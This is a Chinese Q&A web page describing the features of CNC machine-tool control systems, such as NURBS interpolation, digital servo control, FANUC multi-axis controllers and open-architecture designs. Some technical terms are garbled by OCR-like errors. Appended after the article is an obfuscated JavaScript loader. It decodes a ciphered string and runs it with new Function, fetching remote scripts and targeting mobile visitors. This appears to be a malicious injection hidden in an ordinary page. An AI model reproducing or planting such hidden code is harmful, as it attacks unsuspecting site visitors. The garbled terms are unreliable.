CNC控制系统都有哪些特征作用?

2025-02-13 19:49:45
推荐回答(1个)
回答1:

CNC系统是一个专用的实时多任务计算机系统,在它的控制软件中融合了当今计算机软件技术中的许多先进技术,下面分别加以介绍。
1、曲线曲面的非均匀有理B样条(NURBS)插补该项技术采用沿曲线插补的方式,而不是采用一系列短直线来拟合曲线。这一技术的应用已经相当普遍。许多模具行业目前使用的CAM软件都提供了一个选项,即生成NURBS插补格式的零件程序。同时,功能强大的CNC还提供了五轴插补功能以及与此相关的特性。这些性能提高了表面精加工的质量,改善了电机运行的平稳度,提高了切削速度,并使零件加工程序更小。
2、更小的指令单位大多数的CNC系统向机床主轴传递运动和定位指令的单位不小于1微米。在充分利用CPU处理能力提高这一优势后,一些CNC系统的最小指令单位甚至可达到1纳米(0.000001mm)。在指令单位缩小1000倍后,可获得更高的加工精度,可使电机运行得更平稳。电机运行的平稳使得一些机床能够在床身振动不加大的前提下,以更高的加速度运行。
3、钟形曲线加速/减速也称作为S曲线加速/减速,或爬行控制。与使用直线加速方式相比,这种方式可使机床获得更好的加速效果。与其它加速方式相比,也包括直线方式和指数方式,采用钟形曲线方式可获得更小的定位误差。
4、待加工轨迹监控这一技术已被广泛使用,该技术具有众多性能差异,使其在低档控制系统中的工作方式与高档控制系统中的工作方式得以区别开来。总的来讲,CNC就是通过加工轨迹监控来实现对程序的预处理,以此来确保能获得更优异的加速/减速控制。根据不同的CNC的性能,待加工轨迹监控所需的程序块数量从两个到上百个不等,这主要取决于零件程序的最短加工时间和加速/减速的时间常数。一般而言,要想满足加工要求,至少需要十五个待加工轨迹监控程序块。
5、数字伺服控制数字伺服系统的发展如此迅速,以至于大多数机床制造商都选择该系统作为机床的伺服控制系统。使用该系统后,CNC能够更及时地控制伺服系统,而且CNC对机床的控制也变得更精确。
数字伺服系统的作用如下:
1)将提高电流环路的采样速度,再加上电流环控制的改善,从而降低电机温升。这样,不仅可以延长电机的寿命,还可以减少传递到滚珠丝杠的热量,从而提高丝杠的精度。除此之外,采样速度的加快还可以提高速度回路的增益,这些都有助于提高机床的整体性能。
2)由于许多新的CNC使用高速序列与伺服回路相连,因此通过通讯链路,CNC可获得更多的电机和驱动装置的工作信息。这可提高机床的维护性能。
3)连续的位置反馈允许在高速进给的情况下进行高精度的加工。CNC运算速度的加快使得位置反馈的速率成为制约机床运行速度的瓶颈。在传统的反馈方式中,随着CNC和电子设备的外部编码器的采样速度的变化,反馈速度受到信号类型的制约。采用串行反馈,这一问题将得到很好的解决。即使机床以很高的速度运行,也可达到精密的反馈精度。
6、直线电机近几年来,直线电机的工作性能和欢迎度有了显着的提高,所以很多加工中心采用了这一装置。至今,Fanuc公司至少已经安装了1000台直线电机。GEFanuc的一些先进技术使得机床上的直线电机的最大输出力为15,500N,最大加速度为30g。另一些先进技术的应用使机床的尺寸得以减小,重量得以减轻,冷却效率大为提高。所有这些技术上的进步使直线电机在与旋转电机相比时,优势更强:更高的加/减速率;更准确的定位控制,更高的刚度;更高的可靠性;内部的动态制动。
CNC控制器的特点:
1、多坐标、多系统控制
比如FANUC最新的高档控制器11S30i—MODELA系统,最大控制系统数为10个系统(通道),最多轴数和最大主轴配置数为40轴,其中进给轴32轴,主轴为8轴,最大同时控制轴数为24轴/系统。最大PMC系统为3个系统。最大I/O点数为4096点/4096点,PMC基本命令速度为25ns。最大可预读程序段:1000段。这是当前世界配置最高的数控系统。由于具有多轴多系统配置,因此特别适合大型自动机床,复合机床,多头机床等的需要。
2、高精、高速加工功能
这是CNC系统最重要的功能,由于有了这个功能,使制造技术(MT)大大地向前发展了。数控机床采用计算机控制,可以保证加工的零件具有很高的精度重复性。但为了得到一定的功能,输入控制器的信号要经过一系列处理,不可避免地要失真、延时。因此在高速加工时,要保持高的加工精度就要采取一定的措施减少失真、延时。高精、高速的加工,除了机械设计和制造要保证能实现目标外,对CNC系统的要求主要是处理速度快、控制精度高。采用前馈控制,以补偿由于伺服滞后所产生的误差,提高加工精度。适当控制进给率和采用恰当的加减速曲线可以减少加减速滞后所产生的误差。“前瞻”控制在程序执行前对运动数据进行计算、处理和多段缓冲,从而控制刀具按高速运动,而且误差很小。对于机床平滑运行的高精度轮廓控制,采用对指令形式的实时识别,可以最佳地控制速度、加速度和加加速度,因而使加工总是保持在最佳状态。为了防止扰动,开发数字滤波器的技术,以消除机械的谐振,提高伺服系统的位置增益。高精进给和主轴的伺服系统对高速、高精和高效十分重要。目前主要从以下几方面提高其性能。减少电机和驱动器以及控制单元的大小,提高编码器的分辨率;直线移动轴可以来用直线伺服电机驱动;减少机械传动链,提高刚度,提高精度。当主轴电机采用同步电机时,它非常适用于齿轮机床的系统,齿轮机床有时需要很低的主轴速度,但精度很高。比如,FANUC伺服电机的设计体积小,采用高增益控制,伺服电机是无齿槽效应的电机,带有1.6xlo’脉冲/转分辨率的编码器。
伺服控制采用交流数字伺服控制,具有很高电流检测精度,采用相应的硬件,可以产生所谓“纳米控制”,也就是在系统检测分辨率为1岭m时,插补分辨率可以达到1nm;它使在CNC内部的计算误差最小化,每次内部计算以纳米或更小的单位,大大提高了加工的质量。对于控制直线电机,设计数字滤波器以避免直接驱动机械带来的多点谐振特性,联合这些功能,机床刀具的运动就可以准确地按照着指令执行。对于加工具有自由曲面的模具,会在程序段之间出现条纹,为了解决这个问题,FANUC开发了“纳米平滑”功能,圆整CNC指令的公差,以“纳米”为单位评估原始曲线,并对其进行NURBS插补。这些性能满足了机床“高速高精”以及“低速高精”的要求。
3、轴加工和复杂加工功能
由于5轴加工工艺合理,相对于3维曲面加工,它可以充分利用刀具的最佳几何形状进行切削,在复杂形状的高速高精加工中可以提高效率,提高光洁度。因此得到越来越广泛的应用。5轴加工的机械其配置主要有刀具旋转方式、工作台旋转方式和这两种的混合方式。因此5轴加工功能要能满足各种配置的要求。根据5轴加工的特点,把它们,比如TCP(刀具中心控制),刀具半径补偿等功能,应用到不同机械配置的5轴加工机床。
4、数控复台功能
为了提高生产率,数控复合加工机床的开发和制造已变成数控机床的一种发展趋势。复合加工机床是指在同一机械上可以进行多种工艺的加工,如在一台机床上可以进行车加工、铣加工、锤加工等,比如,一个圆柱体要进行圆柱表面的车削、锤子L、还要求在圆柱面上铣沟槽,这些加工都要求在同一台数控机床上完成。这样就能大大提高生产率。因此,对于数控复合机床,百先需要增加可以用于进行复合加工功能的控制系统,比如铣床需要增加螺锥线功能、螺旋线功能、3维圆弧功能、刀具中心点控制等,另外,刀具补偿功能也需要既有车加工又有铣加工的功能。除此以外,这种机床还经常需要高速加工。为了通过PC或数控系统本身对多台机床进行集中监控和管理,系统需要通过网络进行通信。以便传递程序,监控加工状态。除此以外,网络功能还可以传送维修数据,对系统进行远程控制、操作和诊断;传送CAD/CAM数据。CNC具有现场通信网络功能,就可以在CNC与伺服装置之间,CNC与I/o控制之间传递控制、监控和诊断数据。目前主要采用以太网以及现场总线。随着技术的发展,应用无线技术也已经出现。无线技术可以使信息到达几乎是任何地方。
6、高可靠性和安全性功能
CNC系统与数控机床一起,工作在底层车间,经受恶劣的环境,如:温度,湿度,振动,油雾,粉尘的影响,同时又要求连续工作;因此对可靠性要求特别高,除了可靠性设计、制造工艺等措施外,现代数控系统的可靠性主要采取以下措施:①采用光纤,减少电缆连接,比如FANUC的数控系统通过光纤连接CNC和伺服放大器,以串行高速的方式从CNC到多个伺服放大器传递大量的数据。②采用纠错码(ECC:EnorCorrectingCODe)传送数据,随着软件高速处理大量数据,也要求对微处理器、存储器和LSI的处理速度大大提高。由于这些安装在CNC的印刷板上的高速电子元器件进行高速读、写和传递数据时,由IC驱动的信号波形变为滞后,在这样的状况下,不采用模拟电路处理的方法时,导致不能正确地传递数字信号。另外,在最新电子元件低压供电时,降低了电路低抗噪音的运行范围。为此,CNC电路将采取更先进的纠错码传递数据。ECC是一种领前的高可靠性技术,通过把ECC加到数据上以传送各种不同型式的数据,使系统更可靠。②采用双检安全(DualCheckSa缸y)措施。“双检安全”与欧洲安全标准(EN954—1)一致。它的原理是在CNC内嵌人多个处理器冗余地监控伺服电机和主轴电机以及与安全相关的I/0信号并使用急停与相关的I/0电路使系统安全地运行和停止。
CNC控制器的开放:
当出现NC机床以后,制造厂家就希望能打开NC系统这个黑盒子,部分或全部地代替机床设计师和操作者的大脑,具有一定的智能,能把特殊的加工工艺、管理经验和操作技能放进NC系统,同时也希望它具有图形交互、诊断等功能。这就需要商用的数控系统具有友好的人机界面和提供给用户的开发平台。要求NC控制器透明以使机床制造商和最终用户可以自由地执行自己的思想。于是产生了开放结构的数控系统。
IEEE“开放系统技术委员会”定义“开放结构”为:“开放系统所执行的应用可以运行在多家制造者不同的平台;并可以与其他系统的应用具有互操作性,且呈现与用户交互协同(1EEElo03.0)。”也可以用下列的性能指标评估控制器的开放性。比如应用模块为AM:①移植性:在保持应用模块(AM)的功能下,不需任何变化就可以应用到不同的平台。②扩展性:不同的AM能运行在一个平台而不出现冲突。③互操作性:AM在一起工作时表现为相互协同,可以根据定义相互交换数据。④缩放性:按照用户的需要,AM的功能、性能和硬件的规模可以伸缩。
开放结构的控制器(oAC)使控制器销售商、机床制造商和最终用户可以从柔性和敏捷生产中获得较大利益。其主要目标是在标准化环境下采用开放的接口使操作方便,成本降低和柔性增加。这样的系统能力被广泛接受。软件可以重复使用,用户可以按照给定的配置设计他们的控制器。
控制系统的开放体系结构由于考虑到对实时和可靠性要求很严格,因此是高度复杂的系统。其特点是基于PC,相互链接的关键结构为系统组件和接口,系统组件由软件模块和硬件模块所组成。在开放系统中,各个组件和接口还可以在制造过程中实现增加智能的优点。对于控制的复杂性,这些系统的硬件和软件是基本的工具。控制的接口可以分成两组:内部和外部的接口。①外部接口:这些接口连接系统和监控单元以及子单元、用户。它们可以分为编程接口和通信接口。NC与PI‘C编程接口采用国家或国际标准,如RS一274、DIN66025、或IEC6l131—3。通讯接口也强烈地受标准的影响。现场总线系统,如SERCOS,P凹肋us或DeviceNet用作驱动和I/O的接口。I,AN(局网LocalAreaNetwork)网络主要基于以太网和TCP/IP与监控系统连系的接口。②内部接口:用于组件间的互相作用和数据交换,以形成控制系统的核心。在这方面,一个重要的性能是支持实时机构。为了得到可重构和白适应的控制,控制系统的内部结构基于平台的概念。由于软件组件中无法知道专用硬件的详情,因而主要的目标是建立一个可定义的但是在软件组件间进行柔性的通讯方法。应用编程接口(APl)保证了这些需要。控制系统的全部功能被分为几个包,模块化的软件组件通过被定义的API互相作用。
根据1999年美国机器人工业论坛的资料,当年美国机器人全部装机的系统是机器人本身价值的3—5倍,也就是如果有lo亿美元机器人的市场,等于增加20到40亿美元的附加值,如果其中25%归因于软件集成的原因引起的,再认为如果通过标准化的开发和应用,采用开放体系结构的控制器使其中降低50%;那么在采用开放控制器后,每年潜在的价值就可以节省2亿5千万到5亿美元。
目前,开放的数控系统结构主要有3种形式:①基于PC的CNC系统,这种系统以PC机为平台,开发数控系统的各种功能,通过伺服卡传送数据,控制坐标轴电机的运动。这类系统有时也称为SoftNC,这样的系统容易做到全方位开放。②PC嵌入式:这种系统的基本结构为:CNC十PC主板,即把一块CNC板插入传统的PC机器中,CNC主要运行以坐标轴运动为主的实时控制,或且CNC作为数控功能运行,而PC板作为用户的人机接口平台。③PC十CNC:目前主流NC系统生产厂家认为NC系统最主要的性能是可靠性,像PC机存在的死机现象是不允许的。而系统功能首先追求的仍然是高精高速的加工。加上这些厂家长期已经生产大量的NC系统;体系结构的变化会对他们原系统的维修服务和可靠性产生不良的影响。因此不把开放结构作为主要的产品,仍然大量生产原结构的NC系统。为了增加开放性,主流NC系统生产厂家往往在不变化原系统基本结构的基础上增加一块PC板,提供键盘使用户能把PC和CNC在一起,大大提高了人机界面的功能,比较典型的如FANUC的150i/160i/180i/210j系统。有些厂家也把这种装置称为融合系统(fusionsystem)。由于它工作可靠,界面开放,越来越受到机床制造商的欢迎。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();